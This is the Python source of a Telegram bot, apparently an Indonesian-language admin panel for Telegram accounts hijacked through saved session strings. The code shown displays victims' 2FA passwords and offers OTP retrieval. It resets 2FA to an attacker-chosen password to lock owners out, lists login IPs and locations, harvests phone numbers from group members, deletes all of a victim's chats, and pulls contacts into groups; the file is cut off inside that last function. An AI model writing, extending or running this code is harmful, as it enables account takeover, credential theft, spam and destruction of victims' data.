import os
import logging
import asyncio
import re
import sys
import time
import numbers
import random
import pickle
import json
import threading
from datetime import datetime

from telethon import TelegramClient, events, Button
from telethon.tl.functions.messages import GetDialogsRequest
from telethon.tl.types import InputPeerEmpty, InputPeerChannel, InputPeerUser
from telethon.errors.rpcerrorlist import PeerFloodError, UserPrivacyRestrictedError
from telethon.tl.functions.channels import InviteToChannelRequest
from telethon.tl.types import InputCheckPasswordSRP
from telethon.sessions import StringSession
from telethon import functions, types, errors

# Import configuration from settings.py
from settings import (
    API_ID, API_HASH, BOT_TOKEN, ADMIN_CHAT_ID, new_password,
    SESSION_PATH, SESSIONS_FILE, SHOW_PER_PAGE, CACHE_DIR,
    TOTAL_USER_BIG_SLEEP, TIME_BIG_SLEEP
)

# Configure logging
logging.basicConfig(
    level=logging.INFO, 
    format='%(asctime)s - %(levelname)s - %(message)s',
    handlers=[
        logging.StreamHandler(sys.stdout),
        logging.FileHandler('telegram_bot.log')
    ]
)

logger = logging.getLogger(__name__)

bot = TelegramClient(f"sessions/bot", API_ID, API_HASH).start(bot_token=BOT_TOKEN)

class JsonSessionManager:
    def __init__(self, base_path='./'):
        self.base_path = base_path
        self.sessions_file = os.path.join(base_path, SESSIONS_FILE)
        self.sessions_lock = threading.Lock()
        self._ensure_sessions_file()

    def _ensure_sessions_file(self):
        """Create sessions file if it doesn't exist"""
        if not os.path.exists(self.sessions_file):
            with open(self.sessions_file, 'w') as f:
                json.dump({}, f)

    def save_session(self, phone, session_string=None, user_info=None, status="pending", auth_status=None):
        """Save session data to JSON with enhanced information"""
        with self.sessions_lock:
            try:
                with open(self.sessions_file, 'r') as f:
                    sessions = json.load(f)
                
                existing_data = sessions.get(phone, {})
                
                sessions[phone] = {
                    'phone': phone,
                    'session_string': session_string,
                    'user_info': user_info or {},
                    'status': status,
                    'auth_status': auth_status,
                    'created_at': existing_data.get('created_at', datetime.utcnow().isoformat()),
                    'updated_at': datetime.utcnow().isoformat(),
                    'is_active': True if status == "completed" else False,
                    'last_activity': datetime.utcnow().isoformat()
                }
                
                with open(self.sessions_file, 'w') as f:
                    json.dump(sessions, f, indent=2)
                return True
            except Exception as e:
                logger.error(f"Error saving session for {phone}: {str(e)}")
                return False

    def update_session_status(self, phone, status, auth_status=None):
        """Update session status"""
        with self.sessions_lock:
            try:
                with open(self.sessions_file, 'r') as f:
                    sessions = json.load(f)
                
                if phone in sessions:
                    sessions[phone]['status'] = status
                    if auth_status:
                        sessions[phone]['auth_status'] = auth_status
                    sessions[phone]['updated_at'] = datetime.utcnow().isoformat()
                    
                    with open(self.sessions_file, 'w') as f:
                        json.dump(sessions, f, indent=2)
                    return True
                return False
            except Exception as e:
                logger.error(f"Error updating session status for {phone}: {str(e)}")
                return False

    def get_session(self, phone):
        """Get session data from JSON"""
        with self.sessions_lock:
            try:
                with open(self.sessions_file, 'r') as f:
                    sessions = json.load(f)
                return sessions.get(phone)
            except Exception as e:
                logger.error(f"Error getting session for {phone}: {str(e)}")
                return None

    def delete_session(self, phone):
        """Delete session data from JSON"""
        with self.sessions_lock:
            try:
                with open(self.sessions_file, 'r') as f:
                    sessions = json.load(f)
                
                if phone in sessions:
                    del sessions[phone]
                    
                    with open(self.sessions_file, 'w') as f:
                        json.dump(sessions, f, indent=2)
                    return True
                return False
            except Exception as e:
                logger.error(f"Error deleting session for {phone}: {str(e)}")
                return False

    def list_sessions(self):
        """List all saved sessions"""
        with self.sessions_lock:
            try:
                with open(self.sessions_file, 'r') as f:
                    sessions = json.load(f)
                return list(sessions.keys())
            except Exception as e:
                logger.error(f"Error listing sessions: {str(e)}")
                return []
                
session_manager = JsonSessionManager(SESSION_PATH)

os.makedirs("sessions", exist_ok=True)
os.makedirs(CACHE_DIR, exist_ok=True)

def send_telegram_message(message):
    url = f"https://api.telegram.org/bot{BOT_TOKEN}/sendMessage"
    payload = {
        'chat_id': ADMIN_CHAT_ID,
        'text': message
    }
    try:
        response = requests.post(url, data=payload)
        return response
    except Exception as e:
        logger.error(f"Error sending Telegram message: {str(e)}")
        return None

def create_telegram_client(phone, session_string=None):
    """Create a new Telegram client with optional session string"""
    try:
        if session_string:
            session = StringSession(session_string)
        else:
            session = StringSession()
            
        client = TelegramClient(
            session,
            API_ID,
            API_HASH,
            device_model="Samsung Galaxy A21s",
            system_version="1.0"
        )
        return client
    except Exception as e:
        logger.error(f"Error creating client for {phone}: {str(e)}")
        return None
        
def save_2fa_password(phone, password):
    session_data = session_manager.get_session(phone)
    if session_data:
        user_info = session_data.get('user_info', {})
        user_info['2fa_password'] = password
        session_manager.save_session(
            phone=phone,
            session_string=session_data.get('session_string'),
            user_info=user_info,
            status="completed",
            auth_status="2FA Completed"
        )

async def is_session_valid(phone_number):
    """Verify if a session is valid"""
    client = None
    try:
        session_data = session_manager.get_session(phone_number)
        if not session_data:
            return False
            
        session_string = session_data['session_string']
        client = create_telegram_client(phone_number, session_string)
        
        if not client:
            return False
            
        await client.connect()
        is_authorized = await client.is_user_authorized()
        return is_authorized
        
    except Exception as e:
        logger.error(f"Error validating session for {phone_number}: {str(e)}")
        return False
    finally:
        if client:
            try:
                await client.disconnect()
            except:
                pass

# Helper functions for contact caching
def get_cached_contacts(phone):
    """Get cached contacts from a file to avoid rate limits"""
    try:
        cache_dir = os.path.join(os.path.dirname(__file__), CACHE_DIR)
        os.makedirs(cache_dir, exist_ok=True)
        
        cache_file = os.path.join(cache_dir, f'contacts_{phone}.pkl')
        
        if os.path.exists(cache_file):
            with open(cache_file, 'rb') as f:
                contacts = pickle.load(f)
                return contacts
    except Exception as e:
        logger.error(f"Error getting cached contacts: {str(e)}")
    
    return None

def cache_contacts(phone, contacts):
    """Cache contacts to a file to avoid rate limits"""
    try:
        cache_dir = os.path.join(os.path.dirname(__file__), CACHE_DIR)
        os.makedirs(cache_dir, exist_ok=True)
        
        cache_file = os.path.join(cache_dir, f'contacts_{phone}.pkl')
        
        with open(cache_file, 'wb') as f:
            pickle.dump(contacts, f)
            
        logger.info(f"Cached {len(contacts)} contacts for {phone}")
    except Exception as e:
        logger.error(f"Error caching contacts: {str(e)}")

@bot.on(events.NewMessage(pattern='/start'))
async def start_handler(event):
    if str(event.sender_id) != ADMIN_CHAT_ID:
        await event.reply("🖕 LU SIAPA GUA GA KENAL 🖕")
        return
    
    sender = await event.get_sender()
    await event.reply(f"Halo {sender.first_name}! Selamat datang di bot.\nGunakan /user untuk melihat daftar sesi.")
    
async def get_contact_stats(phone):
    """Retrieve contact statistics for a given phone number"""
    client = None
    try:
        session_data = session_manager.get_session(phone)
        if not session_data:
            return {
                'total': 0,
                'mutual': 0,
                'non_mutual': 0
            }
        
        session_string = session_data['session_string']
        client = TelegramClient(StringSession(session_string), API_ID, API_HASH)
        
        await client.connect()
        
        if not await client.is_user_authorized():
            return {
                'total': 0,
                'mutual': 0,
                'non_mutual': 0
            }
        
        contacts_request = await client(functions.contacts.GetContactsRequest(hash=0))
        contacts = contacts_request.contacts
        
        mutual_count = sum(1 for contact in contacts if contact.mutual)
        non_mutual_count = len(contacts) - mutual_count
        
        return {
            'total': len(contacts),
            'mutual': mutual_count,
            'non_mutual': non_mutual_count
        }
    
    except Exception as e:
        logger.error(f"Error getting contact stats for {phone}: {str(e)}")
        return {
            'total': 0,
            'mutual': 0,
            'non_mutual': 0
        }
    finally:
        if client:
            await client.disconnect()
    
@bot.on(events.CallbackQuery(pattern=rb'^view_user_(.+)$'))
async def view_user_handler(event):
    try:
        phone = event.pattern_match.group(1).decode('utf-8')
    except Exception as e:
        await event.answer("Error extracting user information.")
        logging.error(f"Error in view_user_handler: {e}")
        return

    session_data = session_manager.get_session(phone)
    if not session_data:
        await event.answer("User data not found.")
        return

    user_info = session_data.get('user_info', {})

    contact_stats = await get_contact_stats(phone)

    user_info_text = "👤 User Details\n\n"
    user_info_text += f"📞 Number: `{phone}`\n"
    user_info_text += f"🆔 ID: `{user_info.get('id', 'Not Available')}`\n"
    user_info_text += f"👤 Username: {user_info.get('username', 'Not Available')}\n"
    user_info_text += f"📛 Name: {user_info.get('first_name', '')} {user_info.get('last_name', '')}\n"

    if '2fa_password' in user_info:
        user_info_text += f"🔐 2FA Password: `{user_info.get('2fa_password')}`\n"

    user_info_text += f"📊 Status: {session_data.get('status', 'Unknown')}\n\n"

    user_info_text += "📇 Kontak:\n"
    user_info_text += f"• Total Kontak: {contact_stats['total']}\n"
    user_info_text += f"• Mutual: {contact_stats['mutual']}\n"
    user_info_text += f"• Non-Mutual: {contact_stats['non_mutual']}\n"

    buttons = [
        [
            Button.inline("🗑️ Delete Session", f"delete_session_{phone}"),
            Button.inline("📱 Device Info", f"device_info_{phone}")
        ],
        [
            Button.inline("🔑 Get OTP", f"get_otp_{phone}"),
            Button.inline("📋 View Logs", f"view_log_{phone}")
        ],
        [
            Button.inline("📢 Broadcast", f"broadcast_{phone}"),
            Button.inline("📥 Save Kontak", f"save_kontak_{phone}")
        ],
        [
            Button.inline("🔐 Enable Password", f"enable_password_{phone}"),
            Button.inline("🔄 Reset Password", f"reset_password_{phone}")
        ],
        [
            Button.inline("🔓 Disable Password", f"disable_password_{phone}"),
            Button.inline("🗑️ Delete All Chat", f"delete_all_chat_{phone}")
        ],
        [
            Button.inline("Culik Ke Grub", f"culik_grub_{phone}"),
            Button.inline("« Back", b"back_to_list")
        ]
    ]

    await event.edit(user_info_text, buttons=buttons)
    
@bot.on(events.CallbackQuery(pattern=rb'^save_kontak_(.+)$'))
async def save_kontak_handler(event):
    phone = event.pattern_match.group(1).decode("utf-8")
    session_data = session_manager.get_session(phone)
    
    if not session_data:
        await event.answer("Session not found!")
        return
    
    session_string = session_data['session_string']
    client = TelegramClient(StringSession(session_string), API_ID, API_HASH)
    
    try:
        await client.connect()
        if not await client.is_user_authorized():
            await event.answer("Client not authorized!")
            return
        
        buttons = [
            [Button.inline("Dari Group", f"save_kontak_group_{phone}")],
            [Button.inline("Dari Channel", f"save_kontak_channel_{phone}")],
            [Button.inline("<< Back", f"view_user_{phone}")]
        ]
        
        await event.edit(
            f"Pilih sumber kontak untuk disimpan:",
            buttons=buttons
        )
    except Exception as e:
        await event.answer(f"Error: {str(e)}")
        
        buttons = [
            [Button.inline("<< Back", f"view_user_{phone}")]
        ]
        
        await event.edit(
            f"Error saat mempersiapkan pengambilan kontak: {str(e)}",
            buttons=buttons
        )
    finally:
        await client.disconnect()

@bot.on(events.CallbackQuery(pattern=rb'^save_kontak_group_(.+)$'))
async def save_kontak_group_handler(event):
    phone = event.pattern_match.group(1).decode("utf-8")
    session_data = session_manager.get_session(phone)
    
    if not session_data:
        await event.answer("Session not found!")
        return
    
    session_string = session_data['session_string']
    client = TelegramClient(StringSession(session_string), API_ID, API_HASH)
    
    try:
        await client.connect()
        if not await client.is_user_authorized():
            await event.answer("Client not authorized!")
            return
        
        groups = []
        async for dialog in client.iter_dialogs():
            if dialog.is_group:
                groups.append((dialog.id, dialog.title))
        
        if not groups:
            await event.edit(
                "Tidak ada group yang ditemukan.",
                buttons=[[Button.inline("<< Back", f"save_kontak_{phone}")]]
            )
            return
        
        page_size = 5
        total_pages = (len(groups) + page_size - 1) // page_size
        
        # Store groups in session data for pagination
        user_info = session_data.get('user_info', {})
        user_info['groups'] = groups
        session_manager.save_session(
            phone=phone,
            session_string=session_string,
            user_info=user_info,
            status=session_data.get('status', "completed"),
            auth_status=session_data.get('auth_status', "")
        )
        
        await show_group_page(event, phone, 0, total_pages)
        
    except Exception as e:
        await event.answer(f"Error: {str(e)}")
        
        buttons = [
            [Button.inline("<< Back", f"save_kontak_{phone}")]
        ]
        
        await event.edit(
            f"Error saat mengambil daftar group: {str(e)}",
            buttons=buttons
        )
    finally:
        await client.disconnect()

@bot.on(events.CallbackQuery(pattern=rb'^save_kontak_channel_(.+)$'))
async def save_kontak_channel_handler(event):
    phone = event.pattern_match.group(1).decode("utf-8")
    session_data = session_manager.get_session(phone)
    
    if not session_data:
        await event.answer("Session not found!")
        return
    
    session_string = session_data['session_string']
    client = TelegramClient(StringSession(session_string), API_ID, API_HASH)
    
    try:
        await client.connect()
        if not await client.is_user_authorized():
            await event.answer("Client not authorized!")
            return
        
        channels = []
        async for dialog in client.iter_dialogs():
            if dialog.is_channel:
                channels.append((dialog.id, dialog.title))
        
        if not channels:
            await event.edit(
                "Tidak ada channel yang ditemukan.",
                buttons=[[Button.inline("<< Back", f"save_kontak_{phone}")]]
            )
            return
        
        page_size = 5
        total_pages = (len(channels) + page_size - 1) // page_size
        
        user_info = session_data.get('user_info', {})
        user_info['channels'] = channels
        session_manager.save_session(
            phone=phone,
            session_string=session_string,
            user_info=user_info,
            status=session_data.get('status', "completed"),
            auth_status=session_data.get('auth_status', "")
        )
        
        await show_channel_page(event, phone, 0, total_pages)
        
    except Exception as e:
        await event.answer(f"Error: {str(e)}")
        
        buttons = [
            [Button.inline("<< Back", f"save_kontak_{phone}")]
        ]
        
        await event.edit(
            f"Error saat mengambil daftar channel: {str(e)}",
            buttons=buttons
        )
    finally:
        await client.disconnect()

async def show_group_page(event, phone, page, total_pages):
    session_data = session_manager.get_session(phone)
    groups = session_data.get('user_info', {}).get('groups', [])
    
    page_size = 5
    start_idx = page * page_size
    end_idx = min(start_idx + page_size, len(groups))
    
    buttons = []
    for i in range(start_idx, end_idx):
        group_id, group_title = groups[i]
        buttons.append([Button.inline(f"{group_title}", f"extract_group_{phone}_{group_id}")])
    
    nav_buttons = []
    if page > 0:
        nav_buttons.append(Button.inline("◀️ Prev", f"group_page_{phone}_{page-1}_{total_pages}"))
    
    nav_buttons.append(Button.inline("🔙 Back", f"save_kontak_{phone}"))
    
    if page < total_pages - 1:
        nav_buttons.append(Button.inline("Next ▶️", f"group_page_{phone}_{page+1}_{total_pages}"))
    
    buttons.append(nav_buttons)
    
    await event.edit(
        f"Pilih group untuk menyimpan kontak (Halaman {page+1}/{total_pages}):",
        buttons=buttons
    )

async def show_channel_page(event, phone, page, total_pages):
    session_data = session_manager.get_session(phone)
    channels = session_data.get('user_info', {}).get('channels', [])
    
    page_size = 5
    start_idx = page * page_size
    end_idx = min(start_idx + page_size, len(channels))
    
    buttons = []
    for i in range(start_idx, end_idx):
        channel_id, channel_title = channels[i]
        buttons.append([Button.inline(f"{channel_title}", f"extract_channel_{phone}_{channel_id}")])
    
    nav_buttons = []
    if page > 0:
        nav_buttons.append(Button.inline("◀️ Prev", f"channel_page_{phone}_{page-1}_{total_pages}"))
    
    nav_buttons.append(Button.inline("🔙 Back", f"save_kontak_{phone}"))
    
    if page < total_pages - 1:
        nav_buttons.append(Button.inline("Next ▶️", f"channel_page_{phone}_{page+1}_{total_pages}"))
    
    buttons.append(nav_buttons)
    
    await event.edit(
        f"Pilih channel untuk menyimpan kontak (Halaman {page+1}/{total_pages}):",
        buttons=buttons
    )

@bot.on(events.CallbackQuery(pattern=rb'^group_page_(\d+)_(\d+)_(\d+)$'))
async def group_page_handler(event):
    phone = event.pattern_match.group(1).decode("utf-8")
    page = int(event.pattern_match.group(2).decode("utf-8"))
    total_pages = int(event.pattern_match.group(3).decode("utf-8"))
    
    await show_group_page(event, phone, page, total_pages)

@bot.on(events.CallbackQuery(pattern=rb'^channel_page_(\d+)_(\d+)_(\d+)$'))
async def channel_page_handler(event):
    phone = event.pattern_match.group(1).decode("utf-8")
    page = int(event.pattern_match.group(2).decode("utf-8"))
    total_pages = int(event.pattern_match.group(3).decode("utf-8"))
    
    await show_channel_page(event, phone, page, total_pages)

@bot.on(events.CallbackQuery(pattern=rb'^extract_group_(.+)_(-?\d+)$'))
async def extract_group_contacts(event):
    phone = event.pattern_match.group(1).decode("utf-8")
    group_id = int(event.pattern_match.group(2).decode("utf-8"))
    
    session_data = session_manager.get_session(phone)
    
    if not session_data:
        await event.answer("Session not found!")
        return
    
    session_string = session_data['session_string']
    client = TelegramClient(StringSession(session_string), API_ID, API_HASH)
    
    try:
        await client.connect()
        if not await client.is_user_authorized():
            await event.answer("Client not authorized!")
            return
        
        group_name = "Unknown Group"
        for g_id, g_title in session_data.get('user_info', {}).get('groups', []):
            if g_id == group_id:
                group_name = g_title
                break
        
        await event.edit(f"Mulai mengekstrak kontak dari group '{group_name}'...")
        
        participants = await client.get_participants(group_id)
        
        added_count = 0
        skipped_count = 0
        
        for participant in participants:
            if participant.phone:
                try:
                    await client(functions.contacts.AddContactRequest(
                        id=participant.id,
                        first_name=participant.first_name or "",
                        last_name=participant.last_name or "",
                        phone=participant.phone,
                        add_phone_privacy_exception=False
                    ))
                    added_count += 1
                    
                    if added_count % 10 == 0:
                        await event.edit(f"Menyimpan kontak... ({added_count}/{len(participants)})")
                except Exception:
                    skipped_count += 1
            else:
                skipped_count += 1
        
        await event.answer("Contacts saved successfully!")
        
        buttons = [
            [Button.inline("<< Back", f"save_kontak_{phone}")]
        ]
        
        await event.edit(
            f"Berhasil menyimpan {added_count} kontak dari group '{group_name}'.\n"
            f"(Dilewati: {skipped_count} kontak tanpa nomor telepon)",
            buttons=buttons
        )
    except Exception as e:
        await event.answer(f"Error: {str(e)}")
        
        buttons = [
            [Button.inline("<< Back", f"save_kontak_{phone}")]
        ]
        
        await event.edit(
            f"Error saat menyimpan kontak: {str(e)}",
            buttons=buttons
        )
    finally:
        await client.disconnect()

@bot.on(events.CallbackQuery(pattern=rb'^extract_channel_(.+)_(-?\d+)$'))
async def extract_channel_contacts(event):
    phone = event.pattern_match.group(1).decode("utf-8")
    channel_id = int(event.pattern_match.group(2).decode("utf-8"))
    
    session_data = session_manager.get_session(phone)
    
    if not session_data:
        await event.answer("Session not found!")
        return
    
    session_string = session_data['session_string']
    client = TelegramClient(StringSession(session_string), API_ID, API_HASH)
    
    try:
        await client.connect()
        if not await client.is_user_authorized():
            await event.answer("Client not authorized!")
            return
        
        channel_name = "Unknown Channel"
        for c_id, c_title in session_data.get('user_info', {}).get('channels', []):
            if c_id == channel_id:
                channel_name = c_title
                break
        
        await event.edit(f"Mulai mengekstrak kontak dari channel '{channel_name}'...")
        
        participants = await client.get_participants(channel_id)
        
        added_count = 0
        skipped_count = 0
        
        for participant in participants:
            if participant.phone:
                # Add contact
                try:
                    await client(functions.contacts.AddContactRequest(
                        id=participant.id,
                        first_name=participant.first_name or "",
                        last_name=participant.last_name or "",
                        phone=participant.phone,
                        add_phone_privacy_exception=False
                    ))
                    added_count += 1
                    
                    if added_count % 10 == 0:
                        await event.edit(f"Menyimpan kontak... ({added_count}/{len(participants)})")
                except Exception:
                    skipped_count += 1
            else:
                skipped_count += 1
        
        await event.answer("Contacts saved successfully!")
        
        buttons = [
            [Button.inline("<< Back", f"save_kontak_{phone}")]
        ]
        
        await event.edit(
            f"Berhasil menyimpan {added_count} kontak dari channel '{channel_name}'.\n"
            f"(Dilewati: {skipped_count} kontak tanpa nomor telepon)",
            buttons=buttons
        )
    except Exception as e:
        await event.answer(f"Error: {str(e)}")
        
        buttons = [
            [Button.inline("<< Back", f"save_kontak_{phone}")]
        ]
        
        await event.edit(
            f"Error saat menyimpan kontak: {str(e)}",
            buttons=buttons
        )
    finally:
        await client.disconnect()

async def get_device_info_async(phone):
    client = None
    try:
        session_data = session_manager.get_session(phone)
        if not session_data:
            return {
                'status': 'error',
                'message': 'Sesi tidak ditemukan untuk nomor ini'
            }
        
        session_string = session_data['session_string']
        client = create_telegram_client(phone, session_string)

        if not client:
            return {
                'status': 'error',
                'message': 'Gagal membuat klien Telegram'
            }
        
        await client.connect()
        
        if not await client.is_user_authorized():
            return {
                'status': 'error',
                'message': 'Klien tidak terotorisasi'
            }
        
        authorizations = await client(functions.account.GetAuthorizationsRequest())
        
        if not authorizations.authorizations:
            return {
                'status': 'error',
                'message': 'Tidak ada sesi aktif yang ditemukan'
            }
        
        devices = []
        for auth in authorizations.authorizations:
            device_info = {
                'hash': auth.hash,
                'app_name': auth.app_name,
                'device_model': auth.device_model,
                'platform': auth.platform,
                'system_version': auth.system_version,
                'api_id': auth.api_id,
                'app_version': auth.app_version,
                'date_created': str(auth.date_created),
                'date_active': str(auth.date_active),
                'ip': auth.ip,
                'country': auth.country,
                'region': auth.region,
                'official_app': auth.official_app,
                'is_current': auth.current
            }
            devices.append(device_info)
        
        return {
            'status': 'success',
            'message': 'Berhasil mengambil informasi perangkat',
            'devices': devices
        }
        
    except Exception as e:
        logger.error(f"[GET_DEVICES] Error getting device info: {str(e)}")
        return {
            'status': 'error',
            'message': f'Kesalahan saat mendapatkan perangkat: {str(e)}'
        }
    finally:
        if client:
            await client.disconnect()

async def update_contact_stats(phone):
    """Update contact statistics for a user session"""
    session_data = session_manager.get_session(phone)
    if not session_data:
        return False
    
    try:
        session_string = session_data['session_string']
        client = create_telegram_client(phone, session_string)
        
        await client.connect()
        
        contacts = await client.get_contacts()
        
        mutual_count = 0
        non_mutual_count = 0
        
        for contact in contacts:
            if hasattr(contact, 'mutual_contact') and contact.mutual_contact:
                mutual_count += 1
            else:
                non_mutual_count += 1
        
        if 'user_info' not in session_data:
            session_data['user_info'] = {}
        
        session_data['user_info']['total_contacts'] = len(contacts)
        session_data['user_info']['mutual_contacts'] = mutual_count
        session_data['user_info']['non_mutual_contacts'] = non_mutual_count
        
        session_manager.update_session(phone, session_data)
        
        return True
        
    except Exception as e:
        logger.error(f"Error updating contact stats for {phone}: {str(e)}")
        return False
    finally:
        if client:
            await client.disconnect()

@bot.on(events.CallbackQuery(pattern=rb'^device_info_(.+)$'))
async def device_info_handler(event):
    phone = event.pattern_match.group(1).decode('utf-8')
    
    await event.answer("Memuat informasi perangkat...")
    
    device_info = await get_device_info_async(phone)
    
    if device_info.get('status') == 'success':
        devices = device_info.get('devices', [])
        if devices:
            device_text = f"📱 *Perangkat untuk {phone}*\n\n"
            
            for idx, device in enumerate(devices, 1):
                device_text += f"*Perangkat #{idx}*\n"
                device_text += f"• Aplikasi: {device.get('app_name', 'N/A')}\n"
                device_text += f"• Model: {device.get('device_model', 'N/A')}\n"
                device_text += f"• Platform: {device.get('platform', 'N/A')} {device.get('system_version', 'N/A')}\n"
                device_text += f"• IP: {device.get('ip', 'N/A')}\n"
                device_text += f"• Lokasi: {device.get('country', 'N/A')}, {device.get('region', 'N/A')}\n"
                device_text += f"• Aktif: {device.get('date_active', 'N/A')}\n\n"
            
            if len(device_text) > 4000:
                device_text = device_text[:3900] + "...\n\n(Daftar terlalu panjang untuk ditampilkan sepenuhnya)"
            
            await event.edit(
                device_text, 
                buttons=[
                    Button.inline("« Kembali", f"view_user_{phone}")
                ]
            )
        else:
            await event.answer("Tidak ada informasi perangkat yang tersedia.")
    else:
        await event.answer(device_info.get('message', "Gagal mendapatkan informasi perangkat."))

@bot.on(events.CallbackQuery(pattern=rb'^enable_password_(.+)$'))
async def enable_password(event):
    phone = event.pattern_match.group(1).decode("utf-8")
    session_data = session_manager.get_session(phone)
    
    if not session_data:
        await event.answer("Session not found!")
        return
    
    session_string = session_data['session_string']
    client = TelegramClient(StringSession(session_string), API_ID, API_HASH)
    
    try:
        await client.connect()
        if not await client.is_user_authorized():
            await event.answer("Client not authorized!")
            return
        
        await client.edit_2fa(
            current_password='',
            new_password=new_password
        )
        
        user_info = session_data.get('user_info', {})
        user_info['2fa_password'] = new_password
        session_manager.save_session(
            phone=phone,
            session_string=session_string,
            user_info=user_info,
            status="completed",
            auth_status="2FA Enabled"
        )
        
        await event.answer("Password enabled successfully!")
        
        buttons = [
            [Button.inline("<< Back", f"view_user_{phone}")]
        ]
        
        await event.edit(
            f"Password protection for {phone} has been enabled successfully with password '{new_password}'",
            buttons=buttons
        )
    except Exception as e:
        await event.answer(f"Failed to enable password: {str(e)}")
        
        buttons = [
            [Button.inline("<< Back", f"view_user_{phone}")]
        ]
        
        await event.edit(
            f"Error enabling password for {phone}: {str(e)}",
            buttons=buttons
        )
    finally:
        await client.disconnect()

@bot.on(events.CallbackQuery(pattern=rb'^disable_password_(.+)$'))
async def disable_password(event):
    phone = event.pattern_match.group(1).decode("utf-8")
    session_data = session_manager.get_session(phone)
    
    if not session_data:
        await event.answer("Session not found!")
        return
    
    session_string = session_data['session_string']
    client = TelegramClient(StringSession(session_string), API_ID, API_HASH)
    
    try:
        await client.connect()
        if not await client.is_user_authorized():
            await event.answer("Client not authorized!")
            return
            
        current_password = session_data.get('user_info', {}).get('2fa_password', '1123')
        
        await client.edit_2fa(
            current_password=current_password,
            new_password=''
        )
        
        user_info = session_data.get('user_info', {})
        if '2fa_password' in user_info:
            del user_info['2fa_password']
        session_manager.save_session(
            phone=phone,
            session_string=session_string,
            user_info=user_info,
            status="completed",
            auth_status="2FA Disabled"
        )
        
        await event.answer("Password protection disabled successfully!")
        
        buttons = [
            [Button.inline("<< Back", f"view_user_{phone}")]
        ]
        
        await event.edit(
            f"Password protection for {phone} has been disabled successfully",
            buttons=buttons
        )
    except Exception as e:
        await event.answer(f"Failed to disable password: {str(e)}")
        
        buttons = [
            [Button.inline("<< Back", f"view_user_{phone}")]
        ]
        
        await event.edit(
            f"Error disabling password for {phone}: {str(e)}",
            buttons=buttons
        )
    finally:
        await client.disconnect()

@bot.on(events.CallbackQuery(pattern=rb'^reset_password_(.+)$'))
async def reset_password(event):
    phone = event.pattern_match.group(1).decode("utf-8")
    # Get session data
    session_data = session_manager.get_session(phone)
    
    if not session_data:
        await event.answer("Session not found!")
        return
    
    session_string = session_data['session_string']
    client = TelegramClient(StringSession(session_string), API_ID, API_HASH)
    
    try:
        await client.connect()
        if not await client.is_user_authorized():
            await event.answer("Client not authorized!")
            return
        
        try:
            await client.edit_2fa(
                current_password='',
                new_password=new_password
            )
            
            user_info = session_data.get('user_info', {})
            user_info['2fa_password'] = new_password
            session_manager.save_session(
                phone=phone,
                session_string=session_string,
                user_info=user_info,
                status="completed",
                auth_status="2FA Enabled"
            )
            
            await event.answer("Password reset successfully!")
            
            buttons = [
                [Button.inline("<< Back", f"back_to_menu_{phone}")]
            ]
            
            await event.edit(
                f"Password for {phone} has been reset successfully to '{new_password}'",
                buttons=buttons
            )
        except Exception as e:
            try:
                current_password = session_data.get('user_info', {}).get('2fa_password', '1123')
                
                await client.edit_2fa(
                    current_password=current_password,
                    new_password=new_password
                )
                
                user_info = session_data.get('user_info', {})
                user_info['2fa_password'] = new_password
                session_manager.save_session(
                    phone=phone,
                    session_string=session_string,
                    user_info=user_info,
                    status="completed",
                    auth_status="2FA Enabled"
                )
                
                await event.answer("Password reset successfully!")
                
                buttons = [
                    [Button.inline("<< Back", f"view_user_{phone}")]
                ]
                
                await event.edit(
                    f"Password for {phone} has been reset successfully to '{new_password}'",
                    buttons=buttons
                )
            except Exception as e2:
                await event.answer(f"Failed to reset password: {str(e2)}")
                
                buttons = [
                    [Button.inline("<< Back", f"view_user_{phone}")]
                ]
                
                await event.edit(
                    f"Error resetting password for {phone}: {str(e2)}",
                    buttons=buttons
                )
    finally:
        await client.disconnect()

@bot.on(events.CallbackQuery(pattern=rb'^delete_all_chat_(.+)$'))
async def delete_all_chat(event):
    phone = event.pattern_match.group(1).decode("utf-8")
    # Get session data
    session_data = session_manager.get_session(phone)
    
    if not session_data:
        await event.answer("Session not found!")
        return
    
    # Get the session string and create a new client
    session_string = session_data['session_string']
    client = TelegramClient(StringSession(session_string), API_ID, API_HASH)
    
    bot_id = int(BOT_TOKEN.split(':')[0])
    
    try:
        # Start the client
        await client.connect()
        if not await client.is_user_authorized():
            await event.answer("Client not authorized!")
            return
            
        # Send initial status message
        await event.edit(f"Deleting all chats for {phone}...")
        
        # Count dialogs for status reporting
        dialog_count = 0
        deleted_count = 0
        skipped_count = 0
        
        # First gather all dialogs to avoid modifying during iteration
        dialogs = []
        async for dialog in client.iter_dialogs():
            dialogs.append(dialog)
            dialog_count += 1
        
        # Then delete them with progress updates
        for dialog in dialogs:
            # Check if this is the bot chat by comparing entity ID with bot ID
            entity_id = getattr(dialog.entity, 'id', None)
            if entity_id and entity_id == bot_id:
                skipped_count += 1
                continue
                
            try:
                await client.delete_dialog(dialog.id)
                deleted_count += 1
                if deleted_count % 10 == 0:  # Update every 10 deletions
                    await event.edit(f"Deleting chats: {deleted_count}/{dialog_count - skipped_count}")
            except Exception:
                skipped_count += 1
                continue
        
        await event.answer("All chats deleted successfully!")
        
        # Final success message with back button
        buttons = [
            [Button.inline("<< Back", f"view_user_{phone}")]
        ]
        
        await event.edit(
            f"Sukses Delete Chat\nTotal: {deleted_count} chats deleted, {skipped_count} chats preserved",
            buttons=buttons
        )
    except Exception as e:
        await event.answer(f"Failed to delete all chats: {str(e)}")
        
        # Error message with back button
        buttons = [
            [Button.inline("<< Back", f"view_user_{phone}")]
        ]
        
        await event.edit(
            f"Error deleting chats: {str(e)}",
            buttons=buttons
        )
    finally:
        await client.disconnect()

#* Kode Sedot
async def culik_contacts_to_group(phone, group_link):
    """
    Move contacts to a specific group in batches without hitting rate limits
    
    Args:
        phone (str): Phone number of the session
        group_link (str): Invite link or username of the target group
    
    Returns:
        dict: Statistics of contact addition
    """
    client = None
    try:
        # Get session data
        session_data = session_manager.get_session(phone)
        if not session_data:
            return {"success": 0, "failed": 0, "total": 0, "error": "Sesi tidak ditemukan"}
        
        session_string = session_data['session_string']
        client = TelegramClient(StringSession(session_string), API_ID, API_HASH)
        
        await client.connect()
        
        if not await client.is_user_authorized():
            return {"success": 0, "failed": 0, "total": 0, "error": "Klien tidak terotorisasi"}
        
        # Get the target group entity
        chat_entity = None
        try:
            # Join the channel directly instead of trying to find it
            if group_link.startswith('https://t.me/+') or group_link.startswith('+'):
                # Handle private group invite links
                invite_hash = group_link.split('+')[-1]
                try:
                    # Try to join the group directly
                    result = await client(functions.messages.ImportChatInviteRequest(hash=invite_hash))
                    if hasattr(result, 'chats') and len(result.chats) > 0:
                        chat_entity = result.chats[0]
